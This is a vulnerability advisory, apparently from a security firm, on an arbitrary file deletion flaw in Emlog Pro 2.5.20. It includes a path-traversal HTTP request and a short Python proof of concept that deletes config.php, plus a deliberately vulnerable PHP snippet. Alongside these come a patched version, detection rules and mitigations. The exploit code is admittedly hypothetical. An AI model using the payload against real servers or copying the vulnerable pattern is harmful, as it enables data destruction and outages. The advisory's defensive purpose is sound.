CVE-2025-61318

Executive Summary

CVE-2025-61318 is an arbitrary file deletion vulnerability discovered in Emlog Pro version 2.5.20. The flaw resides in the admin/template.php and admin/plugin.php components, which fail to perform adequate path verification and dangerous code filtering on deletion parameters. An authenticated attacker with administrative privileges can exploit this vulnerability to delete arbitrary files on the server, potentially leading to a denial of service or further system compromise. The vulnerability is currently unpatched, and no official fix has been released by the vendor.

Supply Chain & Package Security

This vulnerability affects the Emlog Pro content management system, which is a PHP-based application. While not a direct package manager dependency (like NPM or PyPI), the risk extends to any deployment of Emlog Pro 2.5.20. Organizations using this software should treat it as a critical supply chain risk, as the lack of a patch means any instance is vulnerable to file deletion attacks.

CVSS Breakdown & Threat Level

• CVSS Score: 7.1 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:H/A:H
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: High (Admin)
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: None
• Integrity Impact: High
• Availability Impact: High

The vulnerability is rated High due to the potential for significant integrity and availability impacts, despite requiring administrative privileges. An attacker can delete critical system files, configuration files, or user data, leading to service disruption or data loss.

Deep Dive & Mechanics

The vulnerability is a classic path traversal (directory traversal) flaw. The admin/template.php and admin/plugin.php components accept a deletion parameter (likely del or similar) that specifies the file to be deleted. The application fails to validate that the provided path stays within the intended directory (e.g., the templates or plugins directory). By injecting path traversal sequences such as ../, an attacker can navigate to arbitrary directories on the filesystem.

Root Cause:

• Lack of input sanitization for the deletion parameter.
• No verification that the resolved path is within the allowed base directory.
• Absence of a whitelist of allowed files or directories for deletion.

Attack Flow:

1. Authenticate as an admin user.
2. Send a crafted request to admin/template.php or admin/plugin.php with a deletion parameter containing path traversal sequences (e.g., ../../config.php).
3. The application deletes the specified file without proper validation.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is the current state. The following is a hypothetical example of the vulnerable code and what a patched version should look like.

Vulnerable Code (PHP):

<?php
// admin/template.php
$file = $_GET['del'];
if (file_exists($file)) {
    unlink($file);
    echo "File deleted.";
}
?>

Patched Code (Hypothetical):

<?php
// admin/template.php
$base_dir = realpath(__DIR__ . '/../templates/');
$file = realpath($base_dir . '/' . basename($_GET['del']));
if ($file !== false && strpos($file, $base_dir) === 0 && file_exists($file)) {
    unlink($file);
    echo "File deleted.";
} else {
    echo "Invalid file.";
}
?>

The patched version uses realpath() to resolve the path and checks that it starts with the allowed base directory, preventing directory traversal.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Admin credentials for Emlog Pro 2.5.20.
• Network access to the admin panel.

Exploit Steps:

1. Log in to the Emlog admin panel.
2. Craft a request to delete a critical file, such as config.php:

   POST /admin/template.php?del=../../config.php HTTP/1.1
   Host: target.com
   Cookie: [admin_session_cookie]
   

3. The server will delete the config.php file, causing the application to malfunction.

Proof of Concept (Python):

import requests

target = "http://target.com/admin/template.php"
cookies = {"PHPSESSID": "your_admin_session_id"}
params = {"del": "../../config.php"}

response = requests.post(target, cookies=cookies, params=params)
if "File deleted" in response.text:
    print("File deleted successfully!")
else:
    print("Exploit failed.")

Blue Team

Detection:

• Monitor for unusual file deletion requests in web server logs, especially those containing ../ or ..\\ sequences.
• Alert on admin actions that delete files outside the expected templates or plugins directories.

Mitigation:

• Implement strict input validation and path sanitization.
• Use a whitelist of allowed files for deletion.
• Apply the principle of least privilege; limit admin access to trusted users only.

Indicators of Compromise (IOCs)

• File System Changes: Unexpected deletion of files such as config.php, .htaccess, or other critical system files.
• Web Server Logs: Requests to /admin/template.php or /admin/plugin.php with parameters containing ../ or ..\\.
• Application Behavior: Sudden application errors or missing functionality due to deleted files.

Example Log Entry:

192.168.1.100 - - [01/Jan/2025:12:00:00 +0000] "POST /admin/template.php?del=../../config.php HTTP/1.1" 200 12

Detection Engineering

YARA Rule

rule CVE_2025_61318_File_Deletion {
    meta:
        description = "Detects attempts to exploit arbitrary file deletion in Emlog Pro"
        author = "Valters IT"
        date = "2025-01-01"
        reference = "CVE-2025-61318"
    strings:
        $s1 = "del="
        $s2 = "../"
        $s3 = "..\\"
        $s4 = "admin/template.php"
        $s5 = "admin/plugin.php"
    condition:
        any of ($s1, $s2, $s3) and any of ($s4, $s5)
}

Sigma Rule

title: Emlog Pro Arbitrary File Deletion Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects HTTP requests attempting to exploit CVE-2025-61318
author: Valters IT
date: 2025/01/01
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains:
            - 'del=../'
            - 'del=..\\'
        cs-uri-stem|contains:
            - '/admin/template.php'
            - '/admin/plugin.php'
    condition: selection
falsepositives:
    - Legitimate admin actions if path traversal is used for valid purposes (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-61318 Emlog Pro Arbitrary File Deletion Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/admin/template.php"; http_uri; content:"del="; http_uri; pcre:"/del=(\.\.\/|\.\.\\)/Ui"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable Admin Access: Restrict access to the admin panel to trusted IP addresses only.
2. Apply Virtual Patching: Use a Web Application Firewall (WAF) to block requests containing path traversal sequences in the del parameter.
3. Monitor Logs: Actively monitor web server logs for exploitation attempts.

Long-Term Fix:

• The vendor must release a patch that implements proper path validation and sanitization.
• Until a patch is available, consider migrating to an alternative CMS or applying manual code fixes as described in the "Vulnerable vs. Patched Code" section.

Workaround:

• Modify the admin/template.php and admin/plugin.php files to include path validation logic as shown in the patched code example.

Valters IT
Securing Digital Frontiers